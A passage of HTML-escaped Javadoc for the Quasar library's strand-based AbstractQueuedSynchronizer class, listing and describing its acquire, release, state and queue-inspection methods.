scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#acquireSharedInterruptibly(int)\">acquireSharedInterruptibly</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Acquires in shared mode, aborting if interrupted.</div>\n</td>\n</tr>\n<tr id=\"i4\" class=\"altColor\">\n<td class=\"colFirst\"><code>protected boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#compareAndSetState(int,int)\">compareAndSetState</a></span>&#8203;(int&nbsp;expect,\n int&nbsp;update)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Atomically sets synchronization state to the given updated\n value if the current state value equals the expected value.</div>\n</td>\n</tr>\n<tr id=\"i5\" class=\"rowColor\">\n<td class=\"colFirst\"><code>java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getExclusiveQueuedStrands()\">getExclusiveQueuedStrands</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns a collection containing strands that may be waiting to\n acquire in exclusive mode.</div>\n</td>\n</tr>\n<tr id=\"i6\" class=\"altColor\">\n<td class=\"colFirst\"><code><a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a></code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getFirstQueuedStrand()\">getFirstQueuedStrand</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns the first (longest-waiting) strand in the queue, or\n <code>null</code> if no strands are currently queued.</div>\n</td>\n</tr>\n<tr id=\"i7\" class=\"rowColor\">\n<td class=\"colFirst\"><code>java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getQueuedStrands()\">getQueuedStrands</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns a collection containing strands that may be waiting to\n acquire.</div>\n</td>\n</tr>\n<tr id=\"i8\" class=\"altColor\">\n<td class=\"colFirst\"><code>int</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getQueueLength()\">getQueueLength</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns an estimate of the number of strands waiting to\n acquire.</div>\n</td>\n</tr>\n<tr id=\"i9\" class=\"rowColor\">\n<td class=\"colFirst\"><code>java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getSharedQueuedStrands()\">getSharedQueuedStrands</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns a collection containing strands that may be waiting to\n acquire in shared mode.</div>\n</td>\n</tr>\n<tr id=\"i10\" class=\"altColor\">\n<td class=\"colFirst\"><code>protected int</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getState()\">getState</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns the current value of synchronization state.</div>\n</td>\n</tr>\n<tr id=\"i11\" class=\"rowColor\">\n<td class=\"colFirst\"><code>java.util.Collection&lt;<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&gt;</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getWaitingStrands(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">getWaitingStrands</a></span>&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns a collection containing those strands that may be\n waiting on the given condition associated with this\n synchronizer.</div>\n</td>\n</tr>\n<tr id=\"i12\" class=\"altColor\">\n<td class=\"colFirst\"><code>int</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#getWaitQueueLength(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">getWaitQueueLength</a></span>&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns an estimate of the number of strands waiting on the\n given condition associated with this synchronizer.</div>\n</td>\n</tr>\n<tr id=\"i13\" class=\"rowColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#hasContended()\">hasContended</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Queries whether any strands have ever contended to acquire this\n synchronizer; that is if an acquire method has ever blocked.</div>\n</td>\n</tr>\n<tr id=\"i14\" class=\"altColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#hasQueuedPredecessors()\">hasQueuedPredecessors</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Queries whether any strands have been waiting to acquire longer\n than the current strand.</div>\n</td>\n</tr>\n<tr id=\"i15\" class=\"rowColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#hasQueuedStrands()\">hasQueuedStrands</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Queries whether any strands are waiting to acquire.</div>\n</td>\n</tr>\n<tr id=\"i16\" class=\"altColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#hasWaiters(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">hasWaiters</a></span>&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Queries whether any strands are waiting on the given condition\n associated with this synchronizer.</div>\n</td>\n</tr>\n<tr id=\"i17\" class=\"rowColor\">\n<td class=\"colFirst\"><code>protected boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#isHeldExclusively()\">isHeldExclusively</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns <code>true</code> if synchronization is held exclusively with\n respect to the current (calling) strand.</div>\n</td>\n</tr>\n<tr id=\"i18\" class=\"altColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#isQueued(co.paralleluniverse.strands.Strand)\">isQueued</a></span>&#8203;(<a href=\"../Strand.html\" title=\"class in co.paralleluniverse.strands\">Strand</a>&nbsp;strand)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns true if the given strand is currently queued.</div>\n</td>\n</tr>\n<tr id=\"i19\" class=\"rowColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#owns(co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer.ConditionObject)\">owns</a></span>&#8203;(<a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a>&nbsp;condition)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Queries whether the given ConditionObject\n uses this synchronizer as its lock.</div>\n</td>\n</tr>\n<tr id=\"i20\" class=\"altColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#release(int)\">release</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Releases in exclusive mode.</div>\n</td>\n</tr>\n<tr id=\"i21\" class=\"rowColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#releaseShared(int)\">releaseShared</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Releases in shared mode.</div>\n</td>\n</tr>\n<tr id=\"i22\" class=\"altColor\">\n<td class=\"colFirst\"><code>protected void</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#setState(int)\">setState</a></span>&#8203;(int&nbsp;newState)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Sets the value of synchronization state.</div>\n</td>\n</tr>\n<tr id=\"i23\" class=\"rowColor\">\n<td class=\"colFirst\"><code>java.lang.String</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#toString()\">toString</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Returns a string identifying this synchronizer, as well as its state.</div>\n</td>\n</tr>\n<tr id=\"i24\" class=\"altColor\">\n<td class=\"colFirst\"><code>protected boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#tryAcquire(int)\">tryAcquire</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Attempts to acquire in exclusive mode.</div>\n</td>\n</tr>\n<tr id=\"i25\" class=\"rowColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#tryAcquireNanos(int,long)\">tryAcquireNanos</a></span>&#8203;(int&nbsp;arg,\n long&nbsp;nanosTimeout)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Attempts to acquire in exclusive mode, aborting if interrupted,\n and failing if the given timeout elapses.</div>\n</td>\n</tr>\n<tr id=\"i26\" class=\"altColor\">\n<td class=\"colFirst\"><code>protected int</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#tryAcquireShared(int)\">tryAcquireShared</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Attempts to acquire in shared mode.</div>\n</td>\n</tr>\n<tr id=\"i27\" class=\"rowColor\">\n<td class=\"colFirst\"><code>boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#tryAcquireSharedNanos(int,long)\">tryAcquireSharedNanos</a></span>&#8203;(int&nbsp;arg,\n long&nbsp;nanosTimeout)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Attempts to acquire in shared mode, aborting if interrupted, and\n failing if the given timeout elapses.</div>\n</td>\n</tr>\n<tr id=\"i28\" class=\"altColor\">\n<td class=\"colFirst\"><code>protected boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#tryRelease(int)\">tryRelease</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Attempts to set the state to reflect a release in exclusive\n mode.</div>\n</td>\n</tr>\n<tr id=\"i29\" class=\"rowColor\">\n<td class=\"colFirst\"><code>protected boolean</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#tryReleaseShared(int)\">tryReleaseShared</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Attempts to set the state to reflect a release in shared mode.</div>\n</td>\n</tr>\n</table>\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"methods.inherited.from.class.co.paralleluniverse.strands.concurrent.AbstractOwnableSynchronizer\">\n<!-- -->\n</a>\n<h3>Methods inherited from class&nbsp;co.paralleluniverse.strands.concurrent.<a href=\"AbstractOwnableSynchronizer.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractOwnableSynchronizer</a></h3>\n<code><a href=\"AbstractOwnableSynchronizer.html#getExclusiveOwnerStrand()\">getExclusiveOwnerStrand</a>, <a href=\"AbstractOwnableSynchronizer.html#setExclusiveOwnerStrand(co.paralleluniverse.strands.Strand)\">setExclusiveOwnerStrand</a></code></li>\n</ul>\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"methods.inherited.from.class.java.lang.Object\">\n<!-- -->\n</a>\n<h3>Methods inherited from class&nbsp;java.lang.Object</h3>\n<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</code></li>\n</ul>\n</li>\n</ul>\n</section>\n</li>\n</ul>\n</div>\n<div class=\"details\">\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<!-- ========= CONSTRUCTOR DETAIL ======== -->\n<section role=\"region\">\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"constructor.detail\">\n<!-- -->\n</a>\n<h3>Constructor Detail</h3>\n<a id=\"&lt;init&gt;()\">\n<!-- -->\n</a>\n<ul class=\"blockListLast\">\n<li class=\"blockList\">\n<h4>AbstractQueuedSynchronizer</h4>\n<pre>protected&nbsp;AbstractQueuedSynchronizer()</pre>\n<div class=\"block\">Creates a new <code>AbstractQueuedSynchronizer</code> instance\n with initial synchronization state of zero.</div>\n</li>\n</ul>\n</li>\n</ul>\n</section>\n<!-- ============ METHOD DETAIL ========== -->\n<section role=\"region\">\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"method.detail\">\n<!-- -->\n</a>\n<h3>Method Detail</h3>\n<a id=\"getState()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>getState</h4>\n<pre class=\"methodSignature\">protected final&nbsp;int&nbsp;getState()</pre>\n<div class=\"block\">Returns the current value of synchronization state.\n This operation has memory semantics of a <code>volatile</code> read.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>current state value</dd>\n</dl>\n</li>\n</ul>\n<a id=\"setState(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>setState</h4>\n<pre class=\"methodSignature\">protected final&nbsp;void&nbsp;setState&#8203;(int&nbsp;newState)</pre>\n<div class=\"block\">Sets the value of synchronization state.\n This operation has memory semantics of a <code>volatile</code> write.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>newState</code> - the new state value</dd>\n</dl>\n</li>\n</ul>\n<a id=\"compareAndSetState(int,int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>compareAndSetState</h4>\n<pre class=\"methodSignature\">protected final&nbsp;boolean&nbsp;compareAndSetState&#8203;(int&nbsp;expect,\n int&nbsp;update)</pre>\n<div class=\"block\">Atomically sets synchronization state to the given updated\n value if the current state value equals the expected value.\n This operation has memory semantics of a <code>volatile</code> read\n and write.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>expect</code> - the expected value</dd>\n<dd><code>update</code> - the new value</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if successful. False return indicates that the actual\n value was not equal to the expected value.</dd>\n</dl>\n</li>\n</ul>\n<a id=\"tryAcquire(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>tryAcquire</h4>\n<pre class=\"methodSignature\">protected&nbsp;boolean&nbsp;tryAcquire&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Attempts to acquire in exclusive mode. This method should query\n if the state of the object permits it to be acquired in the\n exclusive mode, and if so to acquire it.\n\n <p>This method is always invoked by the strand performing\n acquire. If this method reports failure, the acquire method\n may queue the strand, if it is not already queued, until it is\n signalled by a release from some other strand. This can be used\n to implement method <code>Lock.tryLock()</code>.\n\n <p>The default\n implementation throws <code>UnsupportedOperationException</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is always the one\n passed to an acquire method, or is the value saved on entry\n to a condition wait. The value is otherwise uninterpreted\n and can represent anything you like.</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if successful. Upon success, this object has\n been acquired.</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if acquiring would place this\n synchronizer in an illegal state. This exception must be\n thrown in a consistent fashion for synchronization to work\n correctly.</dd>\n<dd><code>java.lang.UnsupportedOperationException</code> - if exclusive mode is not supported</dd>\n</dl>\n</li>\n</ul>\n<a id=\"tryRelease(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>tryRelease</h4>\n<pre class=\"methodSignature\">protected&nbsp;boolean&nbsp;tryRelease&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Attempts to set the state to reflect a release in exclusive\n mode.\n\n <p>This method is always invoked by the strand performing release.\n\n <p>The default implementation throws\n <code>UnsupportedOperationException</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the release argument. This value is always the one\n passed to a release method, or the current state value upon\n entry to a condition wait. The value is otherwise\n uninterpreted and can represent anything you like.</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if this object is now in a fully released\n state, so that any waiting strands may attempt to acquire;\n and <code>false</code> otherwise.</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if releasing would place this\n synchronizer in an illegal state. This exception must be\n thrown in a consistent fashion for synchronization to work\n correctly.</dd>\n<dd><code>java.lang.UnsupportedOperationException</code> - if exclusive mode is not supported</dd>\n</dl>\n</li>\n</ul>\n<a id=\"tryAcquireShared(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>tryAcquireShared</h4>\n<pre class=\"methodSignature\">protected&nbsp;int&nbsp;tryAcquireShared&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Attempts to acquire in shared mode. This method should query if\n the state of the object permits it to be acquired in the shared\n mode, and if so to acquire it.\n\n <p>This method is always invoked by the strand performing\n acquire. If this method reports failure, the acquire method\n may queue the strand, if it is not already queued, until it is\n signalled by a release from some other strand.\n\n <p>The default implementation throws <code>UnsupportedOperationException</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is always the one\n passed to an acquire method, or is the value saved on entry\n to a condition wait. The value is otherwise uninterpreted\n and can represent anything you like.</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>a negative value on failure; zero if acquisition in shared\n mode succeeded but no subsequent shared-mode acquire can\n succeed; and a positive value if acquisition in shared\n mode succeeded and subsequent shared-mode acquires might\n also succeed, in which case a subsequent waiting strand\n must check availability. (Support for three different\n return values enables this method to be used in contexts\n where acquires only sometimes act exclusively.) Upon\n success, this object has been acquired.</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if acquiring would place this\n synchronizer in an illegal state. This exception must be\n thrown in a consistent fashion for synchronization to work\n correctly.</dd>\n<dd><code>java.lang.UnsupportedOperationException</code> - if shared mode is not supported</dd>\n</dl>\n</li>\n</ul>\n<a id=\"tryReleaseShared(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>tryReleaseShared</h4>\n<pre class=\"methodSignature\">protected&nbsp;boolean&nbsp;tryReleaseShared&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Attempts to set the state to reflect a release in shared mode.\n\n <p>This method is always invoked by the strand performing release.\n\n <p>The default implementation throws\n <code>UnsupportedOperationException</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the release argument. This value is always the one\n passed to a release method, or the current state value upon\n entry to a condition wait. The value is otherwise\n uninterpreted and can represent anything you like.</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if this release of shared mode may permit a\n waiting acquire (shared or exclusive) to succeed; and\n <code>false</code> otherwise</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.IllegalMonitorStateException</code> - if releasing would place this\n synchronizer in an illegal state. This exception must be\n thrown in a consistent fashion for synchronization to work\n correctly.</dd>\n<dd><code>java.lang.UnsupportedOperationException</code> - if shared mode is not supported</dd>\n</dl>\n</li>\n</ul>\n<a id=\"isHeldExclusively()\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>isHeldExclusively</h4>\n<pre class=\"methodSignature\">protected&nbsp;boolean&nbsp;isHeldExclusively()</pre>\n<div class=\"block\">Returns <code>true</code> if synchronization is held exclusively with\n respect to the current (calling) strand. This method is invoked\n upon each call to a non-waiting <a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\"><code>AbstractQueuedSynchronizer.ConditionObject</code></a> method.\n (Waiting methods instead invoke <a href=\"#release(int)\"><code>release(int)</code></a>.)\n\n <p>The default implementation throws <code>UnsupportedOperationException</code>. This method is invoked\n internally only within <a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\"><code>AbstractQueuedSynchronizer.ConditionObject</code></a> methods, so need\n not be defined if conditions are not used.</div>\n<dl>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if synchronization is held exclusively;\n <code>false</code> otherwise</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.UnsupportedOperationException</code> - if conditions are not supported</dd>\n</dl>\n</li>\n</ul>\n<a id=\"acquire(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>acquire</h4>\n<pre class=\"methodSignature\"><a href=\"../../fibers/Suspendable.html\" title=\"annotation in co.paralleluniverse.fibers\">@Suspendable</a>\npublic final&nbsp;void&nbsp;acquire&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Acquires in exclusive mode, ignoring interrupts. Implemented\n by invoking at least once <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a>,\n returning on success. Otherwise the strand is queued, possibly\n repeatedly blocking and unblocking, invoking <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a> until success. This method can be used\n to implement method <code>Lock.lock()</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is conveyed to\n <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a> but is otherwise uninterpreted and\n can represent anything you like.</dd>\n</dl>\n</li>\n</ul>\n<a id=\"acquireInterruptibly(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>acquireInterruptibly</h4>\n<pre class=\"methodSignature\"><a href=\"../../fibers/Suspendable.html\" title=\"annotation in co.paralleluniverse.fibers\">@Suspendable</a>\npublic final&nbsp;void&nbsp;acquireInterruptibly&#8203;(int&nbsp;arg)\n throws java.lang.InterruptedException</pre>\n<div class=\"block\">Acquires in exclusive mode, aborting if interrupted.\n Implemented by first checking interrupt status, then invoking\n at least once <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a>, returning on\n success. Otherwise the strand is queued, possibly repeatedly\n blocking and unblocking, invoking <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a>\n until success or the strand is interrupted. This method can be\n used to implement method <code>Lock.lockInterruptibly()</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is conveyed to\n <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a> but is otherwise uninterpreted and\n can represent anything you like.</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.InterruptedException</code> - if the current strand is interrupted</dd>\n</dl>\n</li>\n</ul>\n<a id=\"tryAcquireNanos(int,long)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>tryAcquireNanos</h4>\n<pre class=\"methodSignature\"><a href=\"../../fibers/Suspendable.html\" title=\"annotation in co.paralleluniverse.fibers\">@Suspendable</a>\npublic final&nbsp;boolean&nbsp;tryAcquireNanos&#8203;(int&nbsp;arg,\n long&nbsp;nanosTimeout)\n throws java.lang.InterruptedException</pre>\n<div class=\"block\">Attempts to acquire in exclusive mode, aborting if interrupted,\n and failing if the given timeout elapses. Implemented by first\n checking interrupt status, then invoking at least once <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a>, returning on success. Otherwise, the strand is\n queued, possibly repeatedly blocking and unblocking, invoking\n <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a> until success or the strand is interrupted\n or the timeout elapses. This method can be used to implement\n method <code>Lock.tryLock(long, TimeUnit)</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is conveyed to\n <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a> but is otherwise uninterpreted and\n can represent anything you like.</dd>\n<dd><code>nanosTimeout</code> - the maximum number of nanoseconds to wait</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd><code>true</code> if acquired; <code>false</code> if timed out</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.InterruptedException</code> - if the current strand is interrupted</dd>\n</dl>\n</li>\n</ul>\n<a id=\"release(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>release</h4>\n<pre class=\"methodSignature\">public final&nbsp;boolean&nbsp;release&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Releases in exclusive mode. Implemented by unblocking one or\n more strands if <a href=\"#tryRelease(int)\"><code>tryRelease(int)</code></a> returns true.\n This method can be used to implement method <code>Lock.unlock()</code>.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the release argument. This value is conveyed to\n <a href=\"#tryRelease(int)\"><code>tryRelease(int)</code></a> but is otherwise uninterpreted and\n can represent anything you like.</dd>\n<dt><span class=\"returnLabel\">Returns:</span></dt>\n<dd>the value returned from <a href=\"#tryRelease(int)\"><code>tryRelease(int)</code></a></dd>\n</dl>\n</li>\n</ul>\n<a id=\"acquireShared(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>acquireShared</h4>\n<pre class=\"methodSignature\"><a href=\"../../fibers/Suspendable.html\" title=\"annotation in co.paralleluniverse.fibers\">@Suspendable</a>\npublic final&nbsp;void&nbsp;acquireShared&#8203;(int&nbsp;arg)</pre>\n<div class=\"block\">Acquires in shared mode, ignoring interrupts. Implemented by\n first invoking at least once <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a>,\n returning on success. Otherwise the strand is queued, possibly\n repeatedly blocking and unblocking, invoking <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> until success.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument. This value is conveyed to\n <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> but is otherwise uninterpreted\n and can represent anything you like.</dd>\n</dl>\n</li>\n</ul>\n<a id=\"acquireSharedInterruptibly(int)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>acquireSharedInterruptibly</h4>\n<pre class=\"methodSignature\"><a href=\"../../fibers/Suspendable.html\" title=\"annotation in co.paralleluniverse.fibers\">@Suspendable</a>\npublic final&nbsp;void&nbsp;acquireSharedInterruptibly&#8203;(int&nbsp;arg)\n throws java.lang.InterruptedException</pre>\n<div class=\"block\">Acquires in shared mode, aborting if interrupted. Implemented\n by first checking interrupt status, then invoking at least once\n <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a>, returning on success. Otherwise the\n strand is queued, possibly repeatedly blocking and unblocking,\n invoking <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> until success or the strand\n is interrupted.</div>\n<dl>\n<dt><span class=\"paramLabel\">Parameters:</span></dt>\n<dd><code>arg</code> - the acquire argument.\n This value is conveyed to <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a> but is\n otherwise uninterpreted and can represent anything\n you like.</dd>\n<dt><span class=\"throwsLabel\">Throws:</span></dt>\n<dd><code>java.lang.InterruptedException</code> - if the current strand is interrupted</dd>\n</dl>\n</li>\n</ul>\n<a id=\"tryAcquireSharedNanos(int,long)\">\n<!-- -->\n</a>\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<h4>tryAcquireSharedNanos</h4>\n<pre class=\"methodSignature\"><a href=\"../../fibers/Suspendable.html\" title=\"annotation in co.paralleluniverse.fibers\">@Suspendable</a>\npublic final&nbsp;boolean&nbsp;tryAcquireSharedNanos&#8203;(int&nbsp;arg,\n long&nbsp;nanosTimeout)\n throws java.lang.InterruptedException</pre>\n<div class=\"block\">Attempts to acquire in shared mode, aborting if interrupted, and\n failing if the given timeout elapses. Implemented by first\n checking interrupt status, then invoking at least once <a 